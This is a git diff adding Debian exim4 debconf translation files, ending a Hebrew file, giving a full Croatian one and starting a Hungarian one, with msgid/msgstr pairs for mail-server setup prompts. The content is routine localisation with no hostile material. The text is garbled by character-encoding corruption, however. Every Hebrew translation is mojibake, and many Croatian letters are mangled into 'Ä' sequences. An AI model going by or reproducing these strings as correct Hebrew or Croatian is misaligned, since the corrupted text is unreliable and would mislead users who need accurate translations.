+msgid ""
+"In normal mode of operation Exim does DNS lookups at startup, and when "
+"receiving or delivering messages. This is for logging purposes and allows "
+"keeping down the number of hard-coded values in the configuration."
+msgstr ""
+"במצב פעולה נורמלי, Exim יוצר חיפושי DNS בעליה, ×›×שר מתקבל ×ו נשלח דו×ר. כל "
+"×–×ת לצרכי תיעוד וכדי לשמור ×ת ×”×¢×¨×›×™× ×”×§×‘×•×¢×™× ×‘×§×‘×¦×™ ההגדרות במינימו×."
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:11001
+msgid ""
+"If this system does not have a DNS full service resolver available at all "
+"times (for example if its Internet access is a dial-up line using dial-on-"
+"demand), this might have unwanted consequences. For example, starting up "
+"Exim or running the queue (even with no messages waiting) might trigger a "
+"costly dial-up-event."
+msgstr ""
+"×× ×ž×—×©×‘ ×–×” הינו ×œ×œ× ×’×™×©×” קבועה לשרת DNS (למשל ×× ×”×•× ×ž×—×•×‘×¨ בחייגן ×¢× ×—×™×‘×•×¨ "
+"לפי דרישה), שימוש בחיוג על פי דרישה ×”×™×” בעל משמעויות ×œ× ×¨×¦×•×™×•×ª. למשל ×›×שר "
+"exim ×”×™×” מתחיל ×ו מריץ תור (×’× ×× ×ין הודעות) ×–×” יכול ×œ×’×¨×•× ×œ×‘×™×¦×•×¢ חיוג ×œ× "
+"רצוי."
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:11001
+msgid ""
+"This option should be selected if this system is using Dial-on-Demand. If it "
+"has always-on Internet access, this option should be disabled."
+msgstr ""
+"צריך לבחור ב×פשרות זו ×× ×ž×©×ª×ž×©×™× ×‘×—×™×•×’ על פי דרישה. ×× ×”×ž×¢×¨×›×ª תמיד מחוברת "
+"ל×ינטרנט מומלץ ×œ× ×œ×‘×—×•×¨ ב×פשרות זו."
+
+#. Type: title
+#. Description
+#: ../exim4-config.templates:12001
+msgid "Mail Server configuration"
+msgstr "הגדרות שרת דו×ר"
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:13001
+msgid "Split configuration into small files?"
+msgstr "לפצל ×ת ההגדרות ×œ×§×‘×¦×™× ×§×˜× ×™×?"
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:13001
+msgid ""
+"The Debian exim4 packages can either use 'unsplit configuration', a single "
+"monolithic file (/etc/exim4/exim4.conf.template) or 'split configuration', "
+"where the actual Exim configuration files are built from about 50 smaller "
+"files in /etc/exim4/conf.d/."
+msgstr ""
+"חבילת exim4 של Debian יכול להשתמש בקובץ מונוליתי יחיד (/etc/exim4/exim4.conf."
+"template) ×ו בכ-50 ×§×‘×¦×™× ×§×˜× ×™× ×‘×¡×¤×¨×™×” /etc/exim4/conf.d/ כדי ליצור ×ת קובץ "
+"ההגדרות הסופי."
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:13001
+msgid ""
+"Unsplit configuration is better suited for large modifications and is "
+"generally more stable, whereas split configuration offers a comfortable way "
+"to make smaller modifications but is more fragile and might break if "
+"modified carelessly."
+msgstr ""
+"קבצי הגדרות ×œ× ×ž×—×•×œ×§×™× ×ž×ª××™×ž×™× ×™×•×ª×¨ ×œ×©×™× ×•×™×™× ×’×“×•×œ×™× ×•×‘×ופן כללי יותר יציבי×. "
+"קבצי הגדרות ×ž×—×•×œ×§×™× ×™×•×ª×¨ × ×•×—×™× ×›×“×™ לעשות ×©×™× ×•×™×™× ×§×˜× ×™× ×בל יותר רגיש ועלול "
+"להישבר ×× ×™×©×•× ×” ×œ×œ× ×–×”×™×¨×•×ª מספקת."
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:13001
+msgid ""
+"A more detailed discussion of split and unsplit configuration can be found "
+"in the Debian-specific README files in /usr/share/doc/exim4-base."
+msgstr ""
+"מידע נוסף לגבי קבצי הגדרה ×ž×—×•×œ×§×™× ×ו מ××•×—×“×™× × ×™×ª×Ÿ ×œ×ž×¦×•× ×‘×§×•×‘×¥ ×”-README "
+"הייעודי לדבי×ן ×©× ×ž×¦× ×‘-/usr/share/doc/exim4-base."
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:14001
+msgid "Hide local mail name in outgoing mail?"
+msgstr "×”×—×‘× ×©×œ ×©× ×”×“×•×ר המקומי בדו×ר יוצ×?"
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:14001
+msgid ""
+"The headers of outgoing mail can be rewritten to make it appear to have been "
+"generated on a different system. If this option is chosen, '${mailname}', "
+"'localhost' and '${dc_other_hostnames}' in From, Reply-To, Sender and Return-"
+"Path are rewritten."
+msgstr ""
+"הכותרות של דו×ר ×™×•×¦× ×™×›×•×œ×™× ×œ×”×™×›× ×¡ מחדש כדי שיר××” שנוצר במערכת ×חרת. ×× "
+"×ופציה זו נבחרת יתבצע שיכתוב של ×”×¢×¨×›×™× \"${mailname}\" \"localhost\" and "
+"\"${dc_other_hostnames}\" בשדות From, Reply-To, Sender and Return-Path."
+
+#. Type: select
+#. Choices
+#: ../exim4-config.templates:15001
+msgid "mbox format in /var/mail/"
+msgstr "תיבת דו×ר מסוג mbox ב- /var/mail/"
+
+#. Type: select
+#. Choices
+#: ../exim4-config.templates:15001
+msgid "Maildir format in home directory"
+msgstr "תיבת דו×ר מסוג Maildir בספריית הבית"
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:15002
+msgid "Delivery method for local mail:"
+msgstr "שיטת מסירה עבור דו×ר מקומי:"
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:15002
+msgid ""
+"Exim is able to store locally delivered email in different formats. The most "
+"commonly used ones are mbox and Maildir. mbox uses a single file for the "
+"complete mail folder stored in /var/mail/. With Maildir format every single "
+"message is stored in a separate file in ~/Maildir/."
+msgstr ""
+"â€Exim יכול לשמור דו×ר שנשמר מקומית במספר דרכי×. ×”×“×¨×›×™× ×”× ×¤×•×¦×•×ª ביותר הינן "
+"mbox ו-Maildir.†mbox שומר ×ת כל ההודעות בקובץ יחיד בספרייה /var/mail. â€"
+"Maildir שומר כל הודעה בקובץ נפרד ב-~/Maildir/."
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:15002
+msgid ""
+"Please note that most mail tools in Debian expect the local delivery method "
+"to be mbox in their default."
+msgstr ""
+"×©×™× ×œ×‘ שרוב כלי הדו×ר בדבי×ן ×ž×¦×¤×™× ×©×”×©×ž×™×¨×” המקומית תהיה ל-mbox כברירת מחדל."
+
+#, fuzzy
+#~ msgid "Move undelivered mails from exim 3 to exim4 spool?"
+#~ msgstr "להעביר דו×ר ×©×œ× × ×ž×¡×¨ מה-spool של exim גרסה 3 לזה של exim4?"
+
+#, fuzzy
+#~ msgid ""
+#~ "There are some undelivered mails in exim 3 (or exim-tls 3) spool "
+#~ "directory /var/spool/exim/input/."
+#~ msgstr ""
+#~ "×™×©× × ×ž×™×™×œ×™× ×©×œ× × ×ž×¡×¨×• בספריית ×”-spool של exim ×ו exim-tls מגרסה 3 בספריה /"
+#~ "var/spool/exim/input."
+
+#~ msgid ""
+#~ "Choosing this option will move these messages to exim4's spool (/var/"
+#~ "spool/exim4/input/) where they will be handled by exim4."
+#~ msgstr ""
+#~ "בחירה ב×פשרות ×–×ת תעביר ×ת ההודעות ×”×לה לספריית ×”-spool של exim4 (בנתיב /"
+#~ "var/spool/exim4/input), ×©× ×”× ×™×˜×•×¤×œ×• על ידי exim4."
diff --git a/debian/po/hr.po b/debian/po/hr.po
new file mode 100644
index 0000000..5bf43aa
--- /dev/null
+++ b/debian/po/hr.po
@@ -0,0 +1,618 @@
+#
+msgid ""
+msgstr ""
+"Project-Id-Version: Debian installer HR\n"
+"Report-Msgid-Bugs-To: pkg-exim4-maintainers@lists.alioth.debian.org\n"
+"POT-Creation-Date: 2007-07-18 08:29+0200\n"
+"PO-Revision-Date: 2006-10-22 14:35+0200\n"
+"Last-Translator: Josip Rodin <joy+ditrans@linux.hr>\n"
+"Language-Team: Croatian <lokalizacija@linux.hr>\n"
+"Language: hr\n"
+"MIME-Version: 1.0\n"
+"Content-Type: text/plain; charset=UTF-8\n"
+"Content-Transfer-Encoding: 8bit\n"
+
+#. Type: boolean
+#. Description
+#: ../exim4-base.templates:1001
+msgid "Remove undelivered messages in spool directory?"
+msgstr "Ukloni neposlane poruke iz 'spool' direktorija?"
+
+#. Type: boolean
+#. Description
+#: ../exim4-base.templates:1001
+msgid ""
+"There are e-mail messages in the Exim spool directory /var/spool/exim4/"
+"input/ which have not yet been delivered. Removing Exim will cause them to "
+"remain undelivered until Exim is re-installed."
+msgstr ""
+"Postoje poruke e-pošte u Eximovom 'spool' direktoriju /var/spool/exim4/input "
+"koje joÅ¡ nisu isporuÄene. Uklanjanjem Exima će one ostati neisporuÄene dok "
+"se Exim ne instalira ponovo."
+
+#. Type: boolean
+#. Description
+#: ../exim4-base.templates:1001
+msgid ""
+"If this option is not chosen, the spool directory is kept, allowing the "
+"messages in the queue to be delivered at a later date after Exim is re-"
+"installed."
+msgstr ""
+"Ako ne odaberete ovu opciju, 'spool' direktorij će biti oÄuvan, Å¡to će "
+"omogućiti porukama koje Äekaju u redu da se isporuÄe kasnije, nakon "
+"reinstalacije Exima."
+
+#. Type: error
+#. Description
+#: ../exim4-base.templates:2001 ../exim4-daemon-heavy.templates:1001
+#: ../exim4-daemon-light.templates:1001 ../exim4.templates:1001
+msgid "Reconfigure exim4-config instead of this package"
+msgstr "Napravite rekonfiguraciju exim4-config umjesto ovog paketa"
+
+#. Type: error
+#. Description
+#: ../exim4-base.templates:2001 ../exim4-daemon-heavy.templates:1001
+#: ../exim4-daemon-light.templates:1001 ../exim4.templates:1001
+msgid ""
+"Exim4 has its configuration factored out into a dedicated package, exim4-"
+"config. To reconfigure Exim4, use 'dpkg-reconfigure exim4-config'."
+msgstr ""
+"Exim4 ima svoje postavke izdvojene u zasebni paket nazvan exim4-config. Za "
+"rekonfiguriranje Exima 4 koristite 'dpkg-reconfigure exim4-config'."
+
+#. Type: select
+#. Choices
+#. Translators beware! the following six strings form a single
+#. Choices menu. - Every one of these strings has to fit in a standard
+#. 80 characters console, as the fancy screen setup takes up some space
+#. try to keep below ~71 characters.
+#. DO NOT USE commas (,) in Choices translations otherwise
+#. this will break the choices shown to users
+#: ../exim4-config.templates:1001
+msgid "internet site; mail is sent and received directly using SMTP"
+msgstr "mrežno sjedište; pošta se šalje i prima izravno rabeći SMTP"
+
+#. Type: select
+#. Choices
+#. Translators beware! the following six strings form a single
+#. Choices menu. - Every one of these strings has to fit in a standard
+#. 80 characters console, as the fancy screen setup takes up some space
+#. try to keep below ~71 characters.
+#. DO NOT USE commas (,) in Choices translations otherwise
+#. this will break the choices shown to users
+#: ../exim4-config.templates:1001
+msgid "mail sent by smarthost; received via SMTP or fetchmail"
+msgstr "pošta se šalje po 'smarthost'-u; prima preko SMTP ili 'fethchmail'-a"
+
+#. Type: select
+#. Choices
+#. Translators beware! the following six strings form a single
+#. Choices menu. - Every one of these strings has to fit in a standard
+#. 80 characters console, as the fancy screen setup takes up some space
+#. try to keep below ~71 characters.
+#. DO NOT USE commas (,) in Choices translations otherwise
+#. this will break the choices shown to users
+#: ../exim4-config.templates:1001
+msgid "mail sent by smarthost; no local mail"
+msgstr "pošta se šalje po 'smarthost'-u; lokalne pošte nema"
+
+#. Type: select
+#. Choices
+#. Translators beware! the following six strings form a single
+#. Choices menu. - Every one of these strings has to fit in a standard
+#. 80 characters console, as the fancy screen setup takes up some space
+#. try to keep below ~71 characters.
+#. DO NOT USE commas (,) in Choices translations otherwise
+#. this will break the choices shown to users
+#: ../exim4-config.templates:1001
+msgid "local delivery only; not on a network"
+msgstr "samo lokalna dostava; nema mrežne"
+
+#. Type: select
+#. Choices
+#. Translators beware! the following six strings form a single
+#. Choices menu. - Every one of these strings has to fit in a standard
+#. 80 characters console, as the fancy screen setup takes up some space
+#. try to keep below ~71 characters.
+#. DO NOT USE commas (,) in Choices translations otherwise
+#. this will break the choices shown to users
+#: ../exim4-config.templates:1001
+msgid "no configuration at this time"
+msgstr "zasad ne podešavaj"
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:1002
+msgid "General type of mail configuration:"
+msgstr "Opći naÄin podeÅ¡avanja poÅ¡te:"
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:1002
+msgid ""
+"Please select the mail server configuration type that best meets your needs."
+msgstr ""
+"Molim izaberite postavke poslužitelja e-pošte koje vam najviše odgovaraju."
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:1002
+msgid ""
+"Systems with dynamic IP addresses, including dialup systems, should "
+"generally be configured to send outgoing mail to another machine, called a "
+"'smarthost' for delivery because many receiving systems on the Internet "
+"block incoming mail from dynamic IP addresses as spam protection."
+msgstr ""
+"Sustavi s promjenjivom IP adresom, ukljuÄujući sustave koji se na mrežu "
+"spajaju povremeno ('dial-up'), bi općenito trebali biti podešeni tako da "
+"odlaznu poštu šalju na isporuku drugom stroju, zvanom \"smarthost\", zato "
+"što mnogi sustavi na Internetu koji e-poštu primaju dolazne poruke sa "
+"promjenjivih IP adresa blokiraju, to im je mjera protiv spama."
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:1002
+msgid ""
+"A system with a dynamic IP address can receive its own mail, or local "
+"delivery can be disabled entirely (except mail for root and postmaster)."
+msgstr ""
+"Sustav s promjenjivom IP adresom može primati svoju poštu, ili se lokalna "
+"isporuka može u potpunosti ugasiti (osim pošte za root i postmaster)."
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:2001
+msgid "Really leave the mail system unconfigured?"
+msgstr "Stvarno ostaviti sustav e-pošte nepodešen?"
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:2001
+msgid ""
+"Until the mail system is configured, it will be broken and cannot be used. "
+"Configuration at a later time can be done either by hand or by running 'dpkg-"
+"reconfigure exim4-config' as root."
+msgstr ""
+"Dok ga ne podesite, sustav e-pošte će biti neispravan i beskoristan. "
+"Naknadno podeÅ¡avanje možete napraviti ili ruÄno ili tako da pokrenete "
+"naredbu 'dpkg-reconfigure exim4-config', prijavljeni kao root korisnik."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:3001
+msgid "System mail name:"
+msgstr "Ime sustava e-pošte:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:3001
+msgid ""
+"The 'mail name' is the domain name used to 'qualify' mail addresses without "
+"a domain name."
+msgstr ""
+"Ime sustava e-poÅ¡te je ime raÄunala koje se koristi za \"kvalificiranje\" "
+"adresa e-pošte koje ne sadrže ime domene."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:3001
+msgid ""
+"This name will also be used by other programs. It should be the single, "
+"fully qualified domain name (FQDN)."
+msgstr ""
+"To će ime koristiti i drugi programi. Ono treba biti jedinstveno, potpuno "
+"ime domene (FQDN)."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:3001
+msgid ""
+"Thus, if a mail address on the local host is foo@example.org, the correct "
+"value for this option would be example.org."
+msgstr ""
+"Naprimjer, ako je e-mail adresa na lokalnom stroju foo@primjer.domene, onda "
+"je ispravna vrijednost za ovu opciju primjer.domene."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:3001
+msgid ""
+"This name won't appear on From: lines of outgoing messages if rewriting is "
+"enabled."
+msgstr ""
+"To ime se neće pojavljivati u 'From:' polju odlaznih poruka ako omogućite "
+"prepisivanje."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:4001
+msgid "Other destinations for which mail is accepted:"
+msgstr "Ostala odredišta za koja se pošta prihvaća:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:4001
+msgid ""
+"Please enter a semicolon-separated list of recipient domains for which this "
+"machine should consider itself the final destination. These domains are "
+"commonly called 'local domains'. The local hostname (${fqdn}) and "
+"'localhost' are always added to the list given here."
+msgstr ""
+"Molim unesite popis domena primatelja e-poÅ¡te odvojen toÄka-zarezima za koje "
+"se ovaj stroj smatra konaÄnim odrediÅ¡tem. Ove domene se obiÄno nazivaju "
+"\"lokalnim domenama\". Ime sustava e-pošte (${fqdn}) i ime 'localhost' se "
+"uvijek automatski dodaju na popis koji se upiše ovdje."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:4001
+msgid ""
+"By default all local domains will be treated identically. If both a.example "
+"and b.example are local domains, acc@a.example and acc@b.example will be "
+"delivered to the same final destination. If different domain names should be "
+"treated differently, it is necessary to edit the config files afterwards."
+msgstr ""
+"Sve će lokalne domene isprva biti tretirane jednako. Ako su i a.primjer i b."
+"primjer lokalne domene, poruke za korisnik@a.primjer i korisnik@b.primjer će "
+"biti isporuÄene na isto konaÄno odrediÅ¡te. Ako se razliÄite domene trebaju "
+"tretirati razliÄito, potrebno je naknadno urediti konfiguracijske datoteke."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:5001
+msgid "Domains to relay mail for:"
+msgstr "Domene za koje se pošta prenosi:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:5001
+msgid ""
+"Please enter a semicolon-separated list of recipient domains for which this "
+"system will relay mail, for example as a fallback MX or mail gateway. This "
+"means that this system will accept mail for these domains from anywhere on "
+"the Internet and deliver them according to local delivery rules."
+msgstr ""
+"Ovo je popis domena primatelja odvojen toÄka-zarezima za koje će ovaj sustav "
+"prenositi e-poÅ¡tu, naprimjer kao sekundarni MX ili mail gateway. To znaÄi da "
+"će ovaj sustav primati poruke za ove domene od bilo koga s Interneta, i "
+"isporuÄivati ih na osnovu lokalnih pravila za isporuku."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:5001
+msgid "Do not mention local domains here. Wildcards may be used."
+msgstr ""
+"Nemojte ovdje spominjati lokalne domene. Možete koristiti zamjenske znakove."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:6001
+msgid "Machines to relay mail for:"
+msgstr "Strojevi za koje se pošta prenosi:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:6001
+msgid ""
+"Please enter a semicolon-separated list of IP address ranges for which this "
+"system will unconditionally relay mail, functioning as a smarthost."
+msgstr ""
+"Molim upiÅ¡ite popis raspona IP adresa odvojenih toÄka-zarezima za koje će "
+"ovaj sustav prenositi svu e-poštu, radeći kao 'smarthost'."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:6001
+msgid ""
+"You should use the standard address/prefix format (e.g. 194.222.242.0/24 or "
+"5f03:1200:836f::/48)."
+msgstr ""
+"Rabite standardni oblik adresa/prefiks (npr. 194.222.242.0/24 ili "
+"5f03:1200:836f::/48)."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:6001
+msgid ""
+"If this system should not be a smarthost for any other host, leave this list "
+"blank."
+msgstr ""
+"Ako ovaj sustav ne treba biti 'smarthost' ni za jedan drugi stroj, ostavite "
+"popis prazan."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:7001
+msgid "Visible domain name for local users:"
+msgstr "Ime domene vidljivo lokalnim korisnicima:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:7001
+msgid ""
+"The option to hide the local mail name in outgoing mail was enabled. It is "
+"therefore necessary to specify the domain name this system should use for "
+"the domain part of local users' sender addresses."
+msgstr ""
+"Omogućeno je skrivanje lokalnog imena sustava e-pošte u odlaznoj pošti. Zato "
+"je potrebno odrediti ime koje će ovaj sustav koristiti kao domenski dio "
+"adresa e-pošte lokalnih korisnika."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:8001
+msgid "IP address or host name of the outgoing smarthost:"
+msgstr "IP adresa ili ime stroja za odlazni 'smarthost':"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:8001
+msgid ""
+"Please enter the IP address or the host name of a mail server that this "
+"system should use as outgoing smarthost. If the smarthost only accepts your "
+"mail on a port different from TCP/25, append two colons and the port number "
+"(for example smarthost.example::587 or 192.168.254.254::2525). Colons in "
+"IPv6 addresses need to be doubled."
+msgstr ""
+"Molim upišite IP adresu ili ime poslužitelja e-pošte kojeg ovaj sustav treba "
+"koristiti kao odlazni 'smarthost'. Ako 'smarthost' prima vašu poštu na portu "
+"koji nije TCP/25, dodajte dvije dvotoÄke i željeni broj porta (naprimjer "
+"smarthost.primjer::587 ili 192.168.254.254::2525). DvotoÄke u IPv6 adresama "
+"treba poduplati."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:8001
+msgid ""
+"If the smarthost requires authentication, please refer to the Debian-"
+"specific README files in /usr/share/doc/exim4-base for notes about setting "
+"up SMTP authentication."
+msgstr ""
+"Ako odlazni 'smarthost' zahtijeva autentikaciju (ovjeru pristupa), molim "
+"pogledajte Debianove README datoteke u /usr/share/doc/exim4-base za "
+"obavijesti kako postaviti ovjeravanje SMTP-a."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:9001
+msgid "Root and postmaster mail recipient:"
+msgstr "Primatelj pošte za korijenskog korisnika i 'postmaster'-a:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:9001
+msgid ""
+"Mail for the 'postmaster', 'root', and other system accounts needs to be "
+"redirected to the user account of the actual system administrator."
+msgstr ""
+"E-poÅ¡ta za \"postmaster\", \"root\", i druge sistemske korisniÄke raÄune "
+"treba biti preusmjerena na korisniÄki raÄun stvarnog administratora sustava."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:9001
+msgid ""
+"If this value is left empty, such mail will be saved in /var/mail/mail, "
+"which is not recommended."
+msgstr ""
+"Ako ovu vrijednost ostavite praznom, takva e-pošta će se spremiti u /var/"
+"mail/mail, Å¡to se ne preporuÄa."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:9001
+msgid ""
+"Note that postmaster's mail should be read on the system to which it is "
+"directed, rather than being forwarded elsewhere, so (at least one of) the "
+"users listed here should not redirect their mail off this machine. A 'real-' "
+"prefix can be used to force local delivery."
+msgstr ""
+"Znajte da poÅ¡tu za 'postmastera' treba Äitati na sustavu na koji je "
+"usmjerena, radije nego da je se proslijedi drugdje. Zato barem jedan od "
+"korisnika koje ste izabrali ne bi trebao preusmjeravati svoju poštu s ovoga "
+"stroja. Rabite predznak 'real-' kako bi prisilili na lokalnu dostavu."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:9001
+msgid "Multiple user names need to be separated by spaces."
+msgstr "Ako upisujete viÅ¡e korisniÄkkih imena, odvojite ih razmacima."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:10001
+msgid "IP-addresses to listen on for incoming SMTP connections:"
+msgstr "IP adrese na kojima treba slušati dolazeće SMTP veze:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:10001
+msgid ""
+"Please enter a semicolon-separated list of IP addresses. The Exim SMTP "
+"listener daemon will listen on all IP addresses listed here."
+msgstr ""
+"Molim unesite popis IP adresa odvojen toÄka-zarezima. Eximov 'daemon' za "
+"slušanje na SMTP portu će slušati na svim ovdje navedenim IP adresama."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:10001
+msgid ""
+"An empty value will cause Exim to listen for connections on all available "
+"network interfaces."
+msgstr ""
+"Ako ostavite prazno, Exim će slušati na SMTP portovima svih dostupnih "
+"mrežnih suÄelja."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:10001
+msgid ""
+"If this system only receives mail directly from local services (and not from "
+"other hosts), it is suggested to prohibit external connections to the local "
+"Exim daemon. Such services include e-mail programs (MUAs) which talk to "
+"localhost only as well as fetchmail. External connections are impossible "
+"when 127.0.0.1 is entered here, as this will disable listening on public "
+"network interfaces."
+msgstr ""
+"Ako ovo raÄunalo izravno prima e-poÅ¡tu samo preko lokalnih servisa (a ne s "
+"drugih strojeva), preporuÄuje se zabraniti izvanjske veze s Eximom. To se "
+"dogaÄ‘a ako koristite program za e-poÅ¡tu (MUA) koji priÄa s poslužiteljem "
+"samo putem localhosta, ili kod korištenja fetchmaila. Izvanjske veze su "
+"nemoguće ako ovdje upišete 127.0.0.1 i tako onemogućite slušanje SMTP veza "
+"na javnim mrežnim suÄeljima."
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:11001
+msgid "Keep number of DNS-queries minimal (Dial-on-Demand)?"
+msgstr "Održi najmanji broj DNS upita (spajanje na zahtjev)?"
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:11001
+msgid ""
+"In normal mode of operation Exim does DNS lookups at startup, and when "
+"receiving or delivering messages. This is for logging purposes and allows "
+"keeping down the number of hard-coded values in the configuration."
+msgstr ""
+"U normalnom naÄinu rada, Exim vrÅ¡i DNS upite pri pokretanju, primanju ili "
+"isporuci poruka. To se radi zbog bilježenja i da bi se u postavkama moglo "
+"držati Å¡to manje ruÄno upisanih vrijednosti."
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:11001
+msgid ""
+"If this system does not have a DNS full service resolver available at all "
+"times (for example if its Internet access is a dial-up line using dial-on-"
+"demand), this might have unwanted consequences. For example, starting up "
+"Exim or running the queue (even with no messages waiting) might trigger a "
+"costly dial-up-event."
+msgstr ""
+"Ako je ovo stroj bez stalnog pristupa DNS imenskom poslužitelju (naprimjer, "
+"ako pristup na Internet ostvaruje povremenom vezom koja se spaja na "
+"zahtjev), ovo može imati neželjenih posljedica. Naprimjer, samo pokretanje "
+"Exima ili prolazak kroz red poruka (Äak i ako u njemu ne Äeka nijedna "
+"poruka) može prouzroÄiti skupo pozivanje zbog spajanja na mrežu."
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:11001
+msgid ""
+"This option should be selected if this system is using Dial-on-Demand. If it "
+"has always-on Internet access, this option should be disabled."
+msgstr ""
+"Ovu opciju treba odabrati ako ovaj sustav koristi spajanje na zahtjev. Ako "
+"on ima stalni pristup Internetu, ovu opciju treba onemogućiti."
+
+#. Type: title
+#. Description
+#: ../exim4-config.templates:12001
+msgid "Mail Server configuration"
+msgstr "Podešavanje poslužitelja e-pošte"
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:13001
+msgid "Split configuration into small files?"
+msgstr "Razdijeli postavke u male datoteke?"
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:13001
+msgid ""
+"The Debian exim4 packages can either use 'unsplit configuration', a single "
+"monolithic file (/etc/exim4/exim4.conf.template) or 'split configuration', "
+"where the actual Exim configuration files are built from about 50 smaller "
+"files in /etc/exim4/conf.d/."
+msgstr ""
+"Debianovi exim4 paketi mogu rabiti ili \"nerazdijeljene postavke\", jednu "
+"monolitnu datoteku (/etc/exim4/exim4.conf.template), \"razdijeljene postavke"
+"\", pri Äemu se postavke Exima slažu iz oko 50 malih datoteka koje se nalaze "
+"u /etc/exim4/conf.d/."
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:13001
+msgid ""
+"Unsplit configuration is better suited for large modifications and is "
+"generally more stable, whereas split configuration offers a comfortable way "
+"to make smaller modifications but is more fragile and might break if "
+"modified carelessly."
+msgstr ""
+"Nerazdijeljene postavke bolje odgovaraju većim promjenama i općenito su "
+"stabilnije, dok razdijeljene postavke olakšavaju manje izmjene, ali su i "
+"krhkije i mogu zakazati ako se neoprezno mijenjaju."
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:13001
+msgid ""
+"A more detailed discussion of split and unsplit configuration can be found "
+"in the Debian-specific README files in /usr/share/doc/exim4-base."
+msgstr ""
+"Detaljnija diskusija razdijeljenih i nerazdijeljenih postavki se može "
+"pronaći u Debianovim README datotekama u /usr/share/doc/exim4-base."
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:14001
+msgid "Hide local mail name in outgoing mail?"
+msgstr "Skrij lokalno ime e-mail sustava u odlaznoj pošti?"
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:14001
+msgid ""
+"The headers of outgoing mail can be rewritten to make it appear to have been "
+"generated on a different system. If this option is chosen, '${mailname}', "
+"'localhost' and '${dc_other_hostnames}' in From, Reply-To, Sender and Return-"
+"Path are rewritten."
+msgstr ""
+"Zaglavlja odlazne pošte se mogu prepisati tako da izgledaju kao da su "
+"naÄinjena na drugome sustavu. Ako odaberete ovu opciju, prepisivat će se "
+"oznake \"${mailname}\", \"localhost\" i \"${dc_other_hostnames}\" u "
+"zaglavljima 'From', 'Reply-To', 'Sender' i 'Return-Path'."
+
+#. Type: select
+#. Choices
+#: ../exim4-config.templates:15001
+msgid "mbox format in /var/mail/"
+msgstr "mbox oblik u /var/mail/"
+
+#. Type: select
+#. Choices
+#: ../exim4-config.templates:15001
+msgid "Maildir format in home directory"
+msgstr "Maildir oblik u home direktorijima"
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:15002
+msgid "Delivery method for local mail:"
+msgstr "NaÄin isporuke lokalne poÅ¡te:"
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:15002
+msgid ""
+"Exim is able to store locally delivered email in different formats. The most "
+"commonly used ones are mbox and Maildir. mbox uses a single file for the "
+"complete mail folder stored in /var/mail/. With Maildir format every single "
+"message is stored in a separate file in ~/Maildir/."
+msgstr ""
+"Exim može lokalno isporuÄenu poÅ¡tu spremati u razliÄitim oblicima. Dva "
+"najÄešće koriÅ¡tena oblika su mbox i Maildir. mbox koristi jednu datoteku za "
+"cijelu mapu e-pošte i sprema je u /var/mail/. Kod oblika Maildir, svaka "
+"pojedina poruka se sprema u zasebnu datoteku u ~/Maildir/."
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:15002
+msgid ""
+"Please note that most mail tools in Debian expect the local delivery method "
+"to be mbox in their default."
+msgstr ""
+"Imajte na umu da većina alata za rad s mailom u Debianu oÄekuje da će naÄin "
+"isporuke lokalne pošte biti mbox."
diff --git a/debian/po/hu.po b/debian/po/hu.po
new file mode 100644
index 0000000..ebd9f59
--- /dev/null
+++ b/debian/po/hu.po
@@ -0,0 +1,880 @@
+# translation of exim4 to Hungarian
+# Translators, if you are not familiar with the PO format, gettext
